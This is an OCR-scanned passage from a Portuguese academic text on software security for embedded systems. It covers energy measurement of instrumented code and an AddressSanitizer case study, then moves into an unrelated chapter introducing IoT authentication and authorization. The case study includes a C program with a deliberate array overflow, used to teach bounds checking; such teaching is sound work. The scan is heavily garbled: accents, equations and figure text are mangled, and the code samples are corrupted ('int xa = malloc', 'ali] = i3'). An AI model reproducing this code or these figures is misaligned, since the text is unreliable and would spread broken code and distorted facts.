assert (sizes[1l] > 15 && "Index out of bounds");
array[15]=2;

} //fim do corpo

//saida_porta_serial <= (nivel alto)

setrts_up();

12Para o teste e validagio do método, os experimentos foram realizados em SO Fedora 11.
13Usando o comando nice.
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3.6.3. Calculo da Energia

A tensdo V; € proporcional a resisténcia R;. O valor de R, deve ser pequeno para que o
acréscimo de resisténcia no circuito seja minimo. Para que a tensdo V; corresponda ao
valor real de corrente, € preciso multiplicar a tensdo Vi pelo fator de ganho G. Pela lei de
Ohm, I; = V; /R, [Nilsson and Riedel 2009]. Dat,

I, = (1/R,).V, = G.V,. (1)

A energia total pode ser calculada integrando a poténcia instantinea ao longo do
tempo [Nilsson and Riedel 2009]

tf tf
E= [ p()dr= / v(1).i(1)dt. @)
ti ti
Como a corrente total que passa pelo sistema € Iy = G.V; e a tensdo de alimentagcao
Vpower € constante, tem-se:

tf
E= [ Viower-G.vs(t)dt, 3)
t
onde 7; e t7 30 os instantes de tempo de inicio e fim do programa em execugdo, de-
terminados, respectivamente, pelas mudangas de niveis 16gicos do sinal RTS. O diagrama
de blocos do calculo da energia pode ser visto na Figura 3.29.

Computador
v |4 1 p —n
o ol %G SN Vyouer 1 | L’a
E) DAQ RTS —>{ =5V? Fim

N
L

Figura 3.29. Esquema do calculo da energia

O valor de Vi € multiplicado pelo ganho G para obter o valor real de corrente
I;. Em seguida, esse valor € multiplicado por V)., chegando a poténcia instantinea
consumida. A integral da poténcia € a energia total acumulada até o instante . O programa
comecga a processar os dados quando o sinal RTS vai para nivel baixo e termina quando
o sinal volta para nivel alto. Entao, a energia acumulada é correspondente a execu¢ao do
programa testado. O resultado (Energia) é salvo em forma de texto no arquivo de saida.
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3.6.4. Software para calculo da Energia

O DAQ utilizado 1€ periodicamente amostras de tensdo em sua entrada e as converte para
valores digitais tratdveis em computador. O fabricante prové uma biblioteca de abstragdo
do hardware que permite que o programador desenvolva programas que interajam direta-
mente com as entradas do DAQ através de comandos de alto nivel. Assim, utilizando a
linguagem C++, foi possivel desenvolver um software para tratamento do sinal e cdlculo
da energia. Esse software € organizado em duas classes principais: a classe Channel e
a classe Measurement. A classe Channel possibilita a criagdo (abstragdes em soft-
ware) e manipulagdo dos canais do DAQ. A classe Measurement € responsavel pelo
controle e processamento das medicdes e cdlculo da energia.

Ao ser executado, o0 DAQ € configurado e os canais (“Trigger” - Al e “Principal”
- AO) sdo criados. O programa, entdo, espera até que um sinal de gatilho (RTS) seja
recebido no canal Al. Quando o sinal de gatilho € recebido, marcando o inicio do cédigo,
a fungdo de aquisi¢do de dados € chamada e os valores de tensdo do canal AO sdo lidos.

A energia € a integral (soma) dos valores de poténcia instantaneos consumidos.
A poténcia é calculada em software como (VSUPPLY ) x (SHUNT GAIN) x Vs, onde V; é
o valor de tensdo sobre a resisténcia R, lido naquele instante. Uma varidvel, inicializada
em zero, ¢ incrementada com o valor da poténcia, de forma que, ao final da execugao,
seu valor seja a igual a soma das poténcias instantineas ao longo do tempo. A cada
amostra obtida, o canal A1l € lido e testado a fim de se determinar se houve término ou
ndo da execu¢do. Em caso positivo, o programa adiciona no fim do arquivo de saida
os valores do tempo total de execucdo (em segundos) e a energia total consumida (em
Joules), voltando, entdo, a fase de espera por um novo sinal de gatilho. Esse fluxo de
execucdo continuo possibilita a automagdo do processo o que permite a utilizagdo de
scripts para execugdo de n programas de testes. O resultado final é a média (calculada em
software) dos n valores de energia medidos, garantido, dessa forma, maior confiabilidade
na medicao.

3.7. Estudo de Casos
3.7.1. Introducao

Como estudo de caso, iremos apresentar um exemplo didético de cédigo em C e como
utilizar a ferramenta AddressSanitizer, apresentada na secdo 3.5.4 para instrumentd-lo
contra erros de acessos invélidos. Opgdes plausiveis para a instrumentacdo incluem as
ferramentas SoftBound+CETS [Nagarakatte et al. 2009] [Nagarakatte et al. 2010] e SA-
FECode [Dhurjati et al. 2006], mas atermo-emos apenas ao AddressSanitizer [Serebryany
et al. 2012] neste estudo. Mostraremos, também, o funcionamento de uma transformacao
de elimina¢do de Verificacdo de Limites de Arranjo e o impacto desta andlise no gasto
energético do programa.

3.7.2. Exemplo

Tomemos como exemplo o programa na figura 3.30. Compilando-se este programa com o
AddressSanitizer, utilizando a flag —~fsanitize=address no clang, e executando-
0, observamos que o programa aborta com a mensagem de erro:
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ERROR : AddressSanitizer : stack — buf fer — over flowonaddress...].

Essa mensagem indica que houve um Estouro de Arranjo ao acessar um objeto
na pilha. Nao listamos a mensagem completa por questdao de espaco. De fato, a indexa-
¢do na linha quatro acessa um elemento além do término do arranjo, acesso este que €
identificado pela ferramenta como sendo invélido.

int main(int argc, char =xargv) {
int a[l15];
for (unsigned i = 0; i < 16; ++i)
ali] = i3
return a[0] + a[14];

Figura 3.30. Exemplo 1

Tomemos agora, o exemplo na figura 3.31. O programa esta correto, € nao ha
acessos invdlidos, como hd no programa anterior. Os acessos ao arranjo, ainda assim, sao
instrumentados sem necessidade. Utilizando uma técnica de inferéncia de tamanhos de
arranjo, descrita em por Santos et al. [Henrique Nazaré Santos 2013], e de uma Anélise
de Intervalos, descrita na se¢ao 3.5.5, podemos provar que o acesso ao arranjo na linha 4
€ seguro, uma vez que o indice € sempre ndo-negativo e menor que o tamanho do arranjo.
Caso seja, toda instrumentacdo na indexagao € passivel de ser removida.

int main(int argc, char =xargv) {
int a[l15];
for (unsigned i = 0; i < 15; ++1)
al[i] = 1;
return a[0] + a[14];

Figura 3.31. Exemplo 2

Para arranjos com tamanhos dados por expressdes simbolicos, porém, a Andlise
de Intervalos pode ser tornar inefetiva, como acontece para o exemplo na figura 3.32. Isso
ocorre pois, para um arranjo com n posi¢des sendo acessado com indice i, podemos ter
a relagdo simbdlica i < n, sem esta ser dada pelos intervalos numéricos de ambas. Para
tratar estes casos, € necessdria uma andlise de tamanhos relativo, descrito também por
Santos et al. Com esta andlise podemos definir limites superiores simbodlicos para cada
varidvel. Com isso, utilizamos a Andlise de Intervalos para verificar se o indice sendo
acessado € ndo-negativo e se o tamanho do arranjo € um limite superior simbdlico para o
indice.
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int main(int argc, char =xargv) {

int xa = malloc(n % sizeof(int));

for (unsigned i = 0; i < n; ++i)
ali] = i

return a[0] + a[n — 1];

Figura 3.32. Exemplo 3

Implementamos essas técnicas de eliminacao de Verificacao de Limites de Arranjo
em nossa ferramenta GreenArrays e a utilizamos para remover instrumentacoes redundan-
tes inseridas pelo AddressSanitizer. Os ganhos energéticos sao mostrados abaixo.

3.7.3. Avaliacdo Energética das Ferramentas

Ap6s instrumentado o cdigo, € preciso garantir que o acréscimo energético causado pela
instrumentagdo seja vidvel, principalmente se tratando de Sistemas Embarcados. A seguir,
serd aplicado o método proposto na se¢do 3.6 para medir a energia consumida pelo cédigo
instrumentado.

Como o cddigo ja foi compilado com a inser¢do dos sinais de controle RTS, inicio
e fim da medi¢do estdo bem marcados e o arquivo executdvel ja estd pronto para ser
testado. Para realizar os testes em ambiente mais préximo de um sistema embarcado (em

que o consumo de energia é pardmetro critico), foi feito uso da placa mae Inforce'.

O arquivo €, entdo, executado no ambiente de testes. No momento em que o
programa inicia, o sinal de setrts_down coloca o nivel de tensdo da porta serial para
nivel 16gico baixo. Nesse momento, o programa de medi¢do (que j4 foi iniciado em
outro computador) identifica a mudanca de tensdo e inicia a amostragem de dados. A
cada amostra, a varidvel contendo o valor de energia (inicialmente definida em zero) é
incrementada com o valor calculado pela equacao 3.6.3. Além disso, o valor de tensao
do pino RTS da porta serial é medido. Caso seja percebido o sinal de fim de programa de
testes (setrts_up), o programa de medi¢do termina e o valor acumulado para energia
¢ a energia correspondente a execucao do cédigo.

Para o sistema de medicdo o valor resisténcia usado foi Ry = 0,0989Q !> Entio,
o valor de G pode ser calculado como G = (1/R;) = 1/0,0989 = 10, 1112. Pelo manual
fornecido pelo fabricante da plataforma usada pra executar o codigo de testes, tem-se
que a tensdo de alimenta¢do Ve = 12V. Para esta plataforma'®, os valores de tensio
do pino RTS sdo Vj,, = OV e Ve, = SV, correspondendo aos niveis logicos baixo e
alto, respectivamente. A metodologia descrita foi aplicada para os cédigos do Benchmark
Stanford!”. Para garantir a confiabilidade da medicdo, o experimento foi executado dez
vezes para cada codigo testado. O valor apresentado nos resultados é a média dos dez

Yhttp://inforcecomputing.com/ - CPU 1.0GHz, Meméria RAM = 512K B e ambiente Fedora
11.

IS A resisténcia foi medida com multimetro de 6!/2 digitos com medigio a 4 terminais.

1605 valores de tensdo para os pinos da porta serial variam de acordo com o fabricante.

Thttps://1lvm.org/viewve/llvm-project/test-suite/trunk/SingleSource/
Benchmarks/Stanford/.
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valores obtidos.
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Figura 3.33. Grafico comparativo relativo ao tempo de execucao dos programas
do Benchmark Stanford

Foram realizadas quatro formas de medicao, para que as caracteristicas do pro-
grama compilado com as ferramentas de seguranca de c6digo sejam comparadas. A pri-
meira delas é a medicao do cédigo sem instrumentacdo de seguranca. A segunda com
a ferramenta SAFECode. A terceira com a ferramenta AdressSanitizer. E, por dltimo, a
ferramenta proposta GreenArrays. As figuras 3.33 e 3.34 mostram graficos contendo as
andlises do tempo de execucgdo e energia total gasta, respectivamente, obtidos para cada
programa do bechmark em estudo.

3.7.4. Discussao

Nota-se (figuras 3.33 e 3.34) que o acréscimo de c6digo para torni-lo seguro causa um
considerdvel acréscimo no tempo de execugdo do programa, levando, por consequéncia, a
um grande acréscimo na energia consumida. Em muitos casos, os programas compilados
com a ferramentas de seguranca gastam mais do dobro de energia que o programa inse-
guro. Mesmo assim, em determinadas aplicacdes, € necessdrio abrir mdo de um menor
consumo energético e tempo de execugao para se garantir seguranca. J4 em outras aplica-
¢des, como por exemplo, Sistemas Embarcados, o parametro energia € critico, tratando-se
de sistemas movidos a bateria (que é a maioria dos casos). Entdo, € preciso ponderar o uso
de seguranca em cddigo e fazé-lo somente quando o parametro seguranga € tao importante
ou mais que o parametro energia.
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Figura 3.34. Grafico comparativo relativo a energia total consumida pelos pro-
gramas do Benchmark Stanford

3.8. Conclusoes

Seguranca de Software estd no cerne da seguranca de sistemas computacionais de maneira
geral. Na medida em que ataques que exploram vulnerabilidades em software sdo mais
e mais comuns, Seguranca de Software torna-se cada vez mais relevante. Paralelamente
a isso, seja no trabalho ou no ambiente doméstico, Sistemas Embarcados estao cada vez
mais presentes na vida de individuos. Em outras palavras, aparentemente a computacao
ubiqua enfim tornou-se uma realidade.

Tal fato, por si s6, jd causa preocupacdo quanto a seguranga de Sistemas Em-
barcados. Mas, como se nio bastasse, apds uma anélise conclui-se que as propostas de
Seguranca de Software existentes ndo sao apropriadas para esses dispositivos. O objetivo
deste capitulo foi, entdo, apresentar uma visao geral da drea de Seguranga de Software e
mostrar como adaptar e avaliar as solugdes existentes no contexto de Sistemas Embarca-
dos.

Em particular, discorremos, dentre outras coisas, sobre Estouro de Arranjo, Es-
touro de Inteiro, Vazamento de Endereco, Aleatorizacdo de Espaco de Enderego, Preven-
¢do contra a Execucdo de Dados, Candrios, Verificagdo de Limites de Arranjo, Andlise
de Intervalos e Andlise Distribuida. Ademais, descrevemos uma metodologia para avali-
acdo energética de mecanismos de Seguranca de Software. E, ao final, apresentamos uma
solucdo de Seguranca de Software especialmente concebida para o contexto de Sistemas
Embarcados.
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Abstract

The next step in growth of the Internet is the extensive integration of networked
physical objects, known as things. The Internet of Things (IoT) paradigm is characterized
by the diversity of devices that cooperate to achieve a common goal. In this environment,
compose of constrained devices, the widespread adoption of this paradigm depends of
security requirements like secure communication between devices, privacy and anonymity
of its users. This chapter presents the main security challenges and solutions to provide
authentication and authorization on the Internet of Things

Resumo

O proéximo salto no crescimento da Internet estd na ampla integracdo de objetos
fisicos do dia a dia, denominados coisas, conectados em rede. O paradigma da Internet
das Coisas (Internet of Things — IoT) é caracterizado pela diversidade de dispositivos
que cooperam entre si a fim de atingir um objetivo comum. Neste ambiente, composto
por dispositivo com poucos recursos computacionais, garantir a comunica¢do segura
entre estes dispositivos, a privacidade e o anonimato de seus usudrios sdo requisitos
de seguranga fundamentais para a ampla ado¢do deste paradigma. Neste capitulo, sdo
apresentados os principais desafios e solucoes de seguranga para prover autenticacdo e
autorizagdo na Internet das Coisas.
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4.1. Introducao

O préximo salto no crescimento da Internet estd fundamentado no paradigma da Internet
das Coisas (Internet of Things — 10T) o qual abrange uma infraestrutura de hardware,
software e servigos que conectam objetos fisicos, denominados como coisas, a rede de
computadores [ITU 2005, COMMUNITIES 2008]. Segundo [Atzori et al. 2010], a ideia
bésica de IoT consiste na presenga de uma diversidade de objetos que interagem e cooperam
entre si a fim de atingir um objetivo comum, para tal compartilham informacdes utilizando
métodos de enderecamento tnico e protocolos de comunicagdo padronizados.

A integragdo entre sensores e atuadores sobre a Internet forma a base tecnoldgica
para o conceito de ambientes inteligentes, nos quais a informacao gerada por um objeto
pode ser compartilhada entre diversas plataformas e aplicacdes [Gubbi et al. 2013]. O
conceito de ambientes inteligentes engloba diferentes tecnologias, tais como redes de
sensores sem fio (RSSF) e sistemas de identificacdo por radio frequéncia (Radio-Frequency
IDentification — RFID) integrados para rastrear estados das coisas, como sua localizacao,
temperatura, movimentos, etc [Atzori et al. 2010].

Outro conceito importante no cendrio de IoT é o de Web das Coisas (Web of
Things — WoT). A principal caracteristica na WoT é a ado¢do de protocolos usados
amplamente em aplicacdes web, como por exemplo, o HTTP, cujo principal ganho estd na
facilidade de integracao entre os servicos da WoT e outros servicos e sistemas disponiveis
na Internet [Guinard e Trifa 2009]. Com o aumento da adocao de aplicacdes para IoT
e WoT, a preocupagdo com a seguranca das informa¢des aumentard o sucesso do uso
desta tecnologia emergente e assim estard fundamentado no nivel de seguranca que o
ambiente poderd fornecer para os usudrios, como por exemplo, a confidencialidade dos
dados trategados, bem como a privacidade dos usudrios [ITU 2005].

A IoT apresenta requisitos singulares que demandam abordagens diferenciadas
acerca da seguranca. Segundo [Babar et al. 2011], acrescentar mecanismos de seguranca
em dispositivos embarcados com restrigdes computacionais pode ser um desafio. Diante
da heterogeneidade dos dispositivos, desenvolver mecanismos de seguranga que possam
ser executados em diferentes plataformas € um requisito importante para a IoT. Por fim,
os autores afirmam que o acesso fisico aos dispositivos € facilitado em func¢do do tipo de
ambiente nos quais os objetos estdo inseridos. Assim, s30o necessarias nao s6 a protecao
l6gica mas também fisica destes dispositivos.

Dentre o conjunto de requisitos de segurancga para [oT, cabe destacar: a gestdao de
identidade de usudrios e dispositivos; a confidencialidade dos dados trocados na comunica-
¢ao; a disponibilidade de recursos e sistemas; € o controle de acesso a rede para garantir
somente dispositivos autorizados [Babar et al. 2011].

Pode-se atender a estes requisitos de seguranca por meio de uma infraestrutura de
autenticacdo e de autorizacdo. Com esta infraestrutura, € possivel implantar a gestdo de
identidades de forma a impedir que usudrios ou dispositivos ndo autorizados tenham acesso
aos recursos, impega que usudrios ou dispositivos legitimos acessem recursos para os quais
ndo estejam autorizados e permita que usudrios ou dispositivos legitimos tenham acesso
aos recursos a estes autorizados [Liu et al. 2012]. Embora a autenticacdo e autorizacao
de usudrios seja bem abordada na literatura, a autenticacao e autorizacdo de dispositivos
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ndo € bem caracterizada e, segundo [Miorandi et al. 2012], € um desafio de pesquisa neste
cendrio.

O objetivo deste capitulo € discutir os desafios de seguranca e as infraestruturas de
autenticacdo e de autorizacdo que proveem gestio de identidades para Internet das Coisas.
As seguintes questdes chaves sdo analisadas neste capitulo: autenticacdo unica (Single
Sign On -SSO) de usudrios e de dispositivos, gerenciamento de relacdes de confianca entre
dominios administrativos diferentes e interoperabilidade entre mecanismos de autentica¢io
e de autorizagcdo. Conceitos, requisitos e solucdes tecnoldgicas encontradas na literatura
sdo complementados com a apresentacao de dois cendrios de uso para [oT que demonstram
a aplicabilidade das infraestruturas de autenticacao e de autorizacao.

Este capitulo esta dividido em sete se¢des. Nesta primeira se¢do, foi apresentada
uma contextualizacdo, destacando os objetivos e a motivacao para a escolha do tema.
Na Secao 4.2, sdo apresentados os principais conceitos, caracteristicas, bem como as
tecnologias envolvidos e os dominios de aplicacdo na IoT. A Secdo 4.3 apresenta as
principais caracteristicas de IoT que fazem com que a seguranca seja tratada de maneira
distinta em relacdo aos demais sistemas computacionais, bem como 0s principais requisitos
de seguranca na IoT, as ameacas e os ataques descritos na literatura. Na Secao 4.4, sdo
descritos os principais conceitos e técnicas de autenticagdo de usudrios e de dispositivos e de
mecanismos de autorizac¢do apropriados ao cendrio para [oT. As principais infraestruturas
de autenticagdo e de autoriza¢do adotadas na Internet e que sdo também empregadas na
Internet das Coisas sao analisadas na Secao 4.5. A Secdo 4.6 apresenta uma andlise dos
principais projetos de pesquisa que tratam a gestdo de identidades para 10T e os trabalhos
académicos mais relevantes que discutem infraestruturas de autenticacdo e de autorizagao.
Por fim, a Secdo 4.7 traz uma sintese dos principais aspectos da gestdo de identidades na
IoT analisados e as tendéncias de pesquisa nesta area.

4.2. Visao Geral sobre Internet das Coisas

O préximo passo para o crescimento da Internet € a integracdo de objetos fisicos do
dia a dia (coisas) as redes de comunicagdo [COMMUNITIES 2008]. Em 2010, havia
aproximadamente 1,5 bilhdo de computadores pessoais e mais de 1 bilhdo de celulares com
acesso a Internet. Para 2020, € esperado que algo entre 50 e 100 bilhdes de dispositivos
estejam conectados a Internet [CERP-IoT 2010]. [Babar et al. 2011] afirmam que na [oT
estdo coisas como roupas, mobilia, carros, smartcards, dispositivos médicos, medidores de
consumo e maquinas industriais. O paradigma de IoT integra uma grande variedade de
conceitos e areas, tais como: eletronica, automacao, redes de comunicacao, biotecnologia,
mecanica e tecnologia dos materiais [Xiang e Li 2012].

Segundo o relatério [ITU 2005], a [oT pode trazer mudancas a sociedade em geral
na maneira como o individuo se relaciona com o ambiente, assim como na maneira como
serdo realizados os processos de negécio. Além da comunicacao e informacgdo a qualquer
momento, em qualquer lugar, na [oT € possivel também a conectividade para qualquer
coisa, como pode ser visto na Figura 4.1.

Conforme [Gubbi et al. 2013], os avancos e a convergéncia das tecnologias de
sistemas microeletromecanicos, comunicacdo sem fio e eletronica digital resultaram no
desenvolvimento de dispositivos em miniatura com a capacidade de sentir, computar e
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Conexao a Qualquer
MOMENTO

A

- Em movimento
- Em ambientes abertos - Em movimento
-Em ambientes fechados - Em ambientes abertos

- A noite - Em ambientes fechados (longe de um PC

- Durante o dia -No PC

Conexéao de Qualquer
LUGAR

- Entre PCs
- Humano e Humano (H2H), sem usar um PC
- Humano e Coisa (H2T), usando equipamentos genéricos

- Coisa e Coisa (T2T)

Conexao de Qualquer
COISA

Figura 4.1: Nova dimensdo para comunicagdo e compartilhamento de informacao [ITU
2005]

se comunicar via rede sem fio a curtas distancias. Deste cendrio deriva o conceito de
ambientes inteligentes (smart environments). Varios paises estdo desenvolvendo projetos
de Cidades Inteligentes (smart cities), que oferecem experiéncias inovadoras em transporte,
preservacdo ambiental, convivéncia e economia de energia. Mundialmente, se reconhece
o potencial da tecnologia de IoT para criar ambientes inteligentes através dos smart
objects [Schaffers et al. 2011].

As principais caracteristicas da Internet das Coisas estdo indicadas no mapa con-
ceitual da Figura 4.2 e sdo:

e A IoT pode ser caracterizada como uma rede mundial de coisas/objetos/dispositivos
interconectados que se comportam como entidades ativas [Roman et al. 2011b];

e As coisas (dispositivos) na [oT, muitas vezes, possuem restricdes de recursos como
memoria RAM ou ROM, poder de processamento e energia [Hummen et al. 2013];

e Mecanismos de comunicacao de alguns dispositivos, na maioria das vezes sem fio,
possuem baixa poténcia de transmissdo e baixa taxa de dados [Mabhalle et al. 2010];

e Ha uma grande quantidade de coisas (dispositivos) com ciclo curto de vida, o que
exige uma alta capacidade de gerenciamento [Fongen 2012];

e Integra coisas (dispositivos) heterogéneos, o que demanda uma preocupacdo em
relacdo a interoperabilidade entre estes [Atzori et al. 2010, Mahalle et al. 2012];

e A rede possui uma topologia dindmica, pois muitos nds entram e saem da rede com
frequéncia [Mahalle et al. 2012, Hanumanthappa e Singh 2012];

e Pode ser caracterizada como um ambiente contendo um grande nimero computado-
res ou dispositivos invisiveis que colaboram com o usudrio, ou seja, um ambiente
pervasivo e ubiquo [Hanumanthappa e Singh 2012];
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e Na IoT, os usudrios podem interagir com as coisas em seu ambiente fisico e virtual
de diversas maneiras [Mahalle et al. 2012].

Grande
Compartiihamento | ¢ F’mmOVEf[Internet das Cmsasjf conecta ——| O
de Recursos Quantidade
/
/ se caracteriza como \ NEs EmiEnes ‘
P 0Ssui
Transparéncia / P — \ de o /
para o Usuario ambiente computacional constituem ossuem
/ se caracterizam _ restricdo —— Recursos
™~ - Computacionais
que é Topologia ) COI§als
se mostra |nV|S|veI Dindmica (dispositivos) —
/ interagem com—>
com
4 oténcia de
clico de vida curto P SCL
- transmissao
mecanismos de om baixa/'
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Figura 4.2: Mapa Conceitual sobre Internet das Coisas

De acordo com [Roman et al. 2011b], as coisas na IoT possuem cinco caracteristi-
cas principais e uma opcional. Sdo estas:

e Existéncia: coisas que existem no mundo real podem também existir no mundo
virtual (IoT), por meio de dispositivos de comunicacdo embarcada;

e Auto conhecimento (do inglés, sense of self): todas as coisas t€m, explicitamente
ou implicitamente, uma identidade que as descreve. As coisas podem processar
informacao, tomar decisdes e se comportar de maneira autbnoma;

e Conectividade: as coisas podem iniciar a comunicacdo com outras entidades. Dessa
maneira, a comunicacdo com entidades nas suas proximidades ou em ambientes
remotos € possivel.

e Interatividade: as coisas podem interoperar e colaborar com uma variedade de
entidades heterogéneas, seja humanos ou maquinas virtuais ou reais. Desse modo,
estas produzem e consomem uma grande variedade de servicos;

e Dinamicidade: as coisas podem interagir entre si a qualquer momento, lugar ou
maneira. Estas podem entrar e sair de uma rede conforme quiserem, nao estando
limitadas a um tnico local fisico, podendo usar uma grande variedade de interfaces;

e (opcional) Ciéncia do ambiente: sensores podem permitir que as coisas percebam
as caracteristicas de seu ambiente, por exemplo, a sobrecarga da rede ou a radia¢do
da agua. Esta caracteristica € opcional, pois nem todas as coisas possuem esta
capacidade, como por exemplo, um objeto com uma etiqueta RFID.

[Gubbi et al. 2013] afirmam ainda que o ambiente de [oT culmina com a geracdo de
enormes quantidades de dados que precisam ser armazenados, processados e apresentados
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de uma maneira eficiente e facil de interpretar. Os autores afirmam que o conceito de
Computagcdao em Nuvem (Cloud Computing) completa o conceito de IoT no intuito de
prover o sensoriamento ubiquo. Uma infraestrutura em nuvem, na qual seja possivel
armazenar uma grande quantidade de dados e fornecer esses dados para que aplicacdes
possam ser construidas, com requisitos de disponibilidade, capacidade de processamento e
alocacdo de recursos sob demanda, € necessdria para que os ambientes inteligentes sejam
de fato escaldveis e altamente disponiveis.

Pode-se citar como exemplo desta integracao (Cloud e 10T) o projeto europeu
OpenloT cujo objetivo é prover um middleware open-source para o desenvolvimento de
aplicacdes de IoT, usando o modelo baseado em computacdo em nuvem. Os objetos
conectados a Internet podem ser acessados por servicos IoT na nuvem. Por exemplo, o
sensoriamento deste objeto pode ser um servico disponibilizado na nuvem (Sensing as
a Service). Através do uso de servigos de [oT, usudrios podem configurar e desenvolver
aplicacdes de IoT. O projeto visa ainda fornecer infraestrutura e aplica¢des [oT na nuvem,
formando uma nuvem de coisas (Cloud of Things) [OPENIoT 2012].

Para compreender o paradigma da IoT, [Atzori et al. 2010] apresentam os principais
conceitos, tecnologias e padrdes envolvidos, a partir de trés perspectivas, a saber:

e Visao orientada as coisas. Considera as coisas como itens simples, por exemplo,
etiquetas RFID (Radio-Frequency IDentification), porém, ndo somente estas coisas
simples. Trata de aspectos como enderecamento unico e global (para acesso direto
as coisas por meio da Internet) e da identificacdo univoca das coisas. Um dos
pontos relevantes dessa visao é que, para a efetiva concretizacdo da 10T, contata-se a
necessidade de aumentar a inteligéncia das coisas (conceber smarts things);

e Visdo orientada a Internet. Responsavel pelos protocolos necessarios e como esses
devem ser adaptados para permitir a troca de informagdes entre as coisas na IoT.
Nessa visao, estdo as pesquisas e padrdes que tratam da adaptacdo do protocolo IP
para o ambiente de 10T;

e Visao orientada a Semantica. A quantidade de coisas conectadas a rede (Internet
do Futuro) estd destinada a ser muito alta. Esta visdo incluem questdes como:
representacdo, armazenamento, busca e organiza¢do da grande quantidade de dados
gerados na IoT. Neste contexto, as tecnologias semanticas deverdo desempenhar
um papel fundamental, pois serdo usadas para modelagem das coisas, para extragao
do conhecimento dos dados, para o raciocinio sobre os dados gerados na IoT, para
criacdo de ambientes de execucao semanticos e para defini¢do da arquitetura que ird
acomodar os requisitos da [oT.

4.2.1. Tecnologias Envolvidas

[Atzori et al. 2010] afirmam que a realizacdo do conceito de IoT no mundo real é
possivel por meio do uso e integracdo de vdrias tecnologias habilitadoras. Nesta secdo, sdo
apresentadas algumas tecnologias que tornam a IoT realizdvel, sdo estas: RFID (Radio
Frequency Identification), WSN (Wireless Sensor Network) e WSAN (Wireless Sensor
and Actuator Network), EnHANTS (Energy-Harvesting Active Networked Tags), NFC
(Near-Field Communications) e RSN (RFID Sensor Network).
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RFID (Radio Frequency Identification)

RFID € um método para transmissao de informagdes sem a necessidade de contato fisico
ou linha de visada entre as partes participantes da comunicacao [Yan et al. 2008]. Um
dispositivo RFID, muitas vezes chamado apenas de etiqueta (tag) RFID, é um micro-
chip projetado para transmissao de dados sem fio, que transmite dados em resposta a
interrogacao feita por um leitor RFID [Juels 2006].

As etiquetas RFID podem ser: passivas, semi-passivas e ativas. A etiqueta passiva
nao tem fonte de energia acoplada e a energia utilizada para a transmissao dos dados é
obtida através do sinal enviado pelo leitor RFID. As etiquetas semi-passivas possuem
baterias que alimentam o circuito durante a fase de recebimento de dados, sendo que o
envio € feito com a energia captada do sinal enviado pelo leitor. Ja as etiquetas ativas
tém a energia fornecida pela bateria nas fases de recep¢do e transmissdo de sinal, além
de poderem iniciar uma comunicagdo. Outro ponto € que as etiquetas ativas podem ser
lidas a distancias de 100m ou mais. Essas caracteristicas das etiquetas ativas tém, em
contrapartida, um custo final mais alto [Atzori et al. 2010].

Cada etiqueta RFID tem um c6digo tnico, que faz parte do sistema chamado EPC
(Eletronic Product Code - Codigo Eletronico de Produtos), suportado pela EPCGlobal.
Esse codigo por si s6 ndo identifica o objeto ao qual a etiqueta esta associada. Contudo,
com a associacdo do EPC com as informagdes de um banco de dados, € possivel saber qual
¢ o objeto referenciado pela etiqueta [GS1-EPCglobal 2009].

WSN (Wireless Sensor Network) e WSAN (Wireless Sensor and Actuator Network)

Conforme [Xiang e Li 2012], um sensor é um equipamento fisico que serve para detectar ou
sentir um sinal externo, normalmente, uma caracteristica do ambiente, como por exemplo,
luz, temperatura e umidade, e transmitir essa informacgdo para outros dispositivos. Uma
Rede de Sensores Sem Fio (RSSF), do inglés Wireless Sensor Network (WSN), € uma
combinacdo de sensores, computagdo embarcada para comunicagdo sem fio e tecnologia
de processamento distribuido.

Redes de sensores sao compostas de grandes quantidades de nés de sensoriamento,
instalados na drea ou proximo a esta, na qual se deseja extrair informagdes. Em uma RSSF,
a transmissao das informacdes captadas pelos sensores € feita para alguns, normalmente
um, dos nés da rede, chamado sorvedouro ou sink. A infraestrutura de transmissio das
informacdes pode ser feita por uma rede de multiplos saltos (cada né age como um roteador
de mensagens) [Atzori et al. 2010].

A posi¢ao dos nds de sensoriamento ndo precisa ser pré-determinada, o que faz com
que redes de sensores precisem de protocolos que tenham a capacidade de auto-organizar
arede. Os nods sdo providos de um pequeno processador, 0 que permite que estes possam
processar dados antes de transmiti-los e ndo simplesmente transmiti-los [Akyildiz et al.
2002].

Nas redes de sensores e atuadores sem fio, do inglés Wireless Sensor and Actuator
Network (WSAN), os sensores captam as informagdes e passam para os atuadores, para
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que estes facam o processamento das informacdes e tomem a decisdo de atuar no ambiente
(o que pode ocorrer de diversas maneiras) [Martinez et al. 2008].

EnHANTS (Energy-Harvesting Active Networked Tags)

EnHANTS (Energy-Harvesting Active Networked Tags) sdo equipamentos que, por serem
pequenos, flexiveis e terem independéncia energética, podem ser acoplados a objetos como
roupas e livros, que normalmente ndo estdo interconectados. O desenvolvimento dessa
tecnologia € possivel devido aos avangos na comunicagcao em Banda Ultra Larga (Ultra
Wide Band - UWB), cujo consumo de energia € baixo, e de materiais de captagdo de energia
baseados em semicondutores organicos. Considerando complexidade, banda passante,
tamanho e requisitos de energia, as etiquetas EnHANTS ficam entre as tecnologias de
Redes de Sensores e RFID.

Comparada as etiquetas RFID, as EnHANTS terdo uma fonte de energia, poderao
se comunicar numa rede de multiplos saltos e ndo precisardo depender da energia do sinal
de um leitor. Em compara¢@o com sensores, as etiquetas EnNHANTS irdo operar com taxas
de dados menores e consumirdo menos energia, transmitindo na maior parte das vezes a
sua ID. Essa tecnologia permitird aplicacdes além das permitidas pelo RFID. Ao invés de
apenas identificar, serd possivel buscar por um objeto, devido a sua capacidade de operar
continuamente e em rede [Gorlatova et al. 2010].

NFC (Near-Field Communications)

NFC (Near-Field Communications) é uma tecnologia sem fio, de curto alcance, que permite
a comunicacdo entre equipamentos com etiquetas NFC, como por exemplo, placas/pdsteres,
celulares, mercadorias, tickets, dentre outros e que pode ser usado para troca de dados entre
equipamentos a uma distancia méxima de 10cm [Ahson 2012]. NFC opera na frequéncia
de 13,56MHz e consegue transmissdes de dados de até 424Kbps. Traz os beneficios do
RFID, ja que os leitores NFC sao compativeis com etiquetas RFID (podem ler e escrever
nas etiquetas). A tecnologia NFC permite a comunicacao entre entidades do dia a dia, o
que facilita a criag@o do cendrio de IoT. Interacdes via NFC podem ser habilitadas somente
mediante iniciativa e permissao do usudrio. Devido a curta distincia, a outra ponta de
comunicacao via NFC é fisicamente conhecida [Cavoukian 2012].

Deve ser ressaltado que ha ainda um grande esforco a ser realizado em termos
de padronizacdo desta tecnologia, tanto de interfaces como de protocolos. Conforme
[Cavoukian 2012], ha ainda desafios em termos de seguranca e privacidade para que a
adoc¢do da tecnologia seja feita de forma mais ampla.

RSN (RFID Sensor Network)

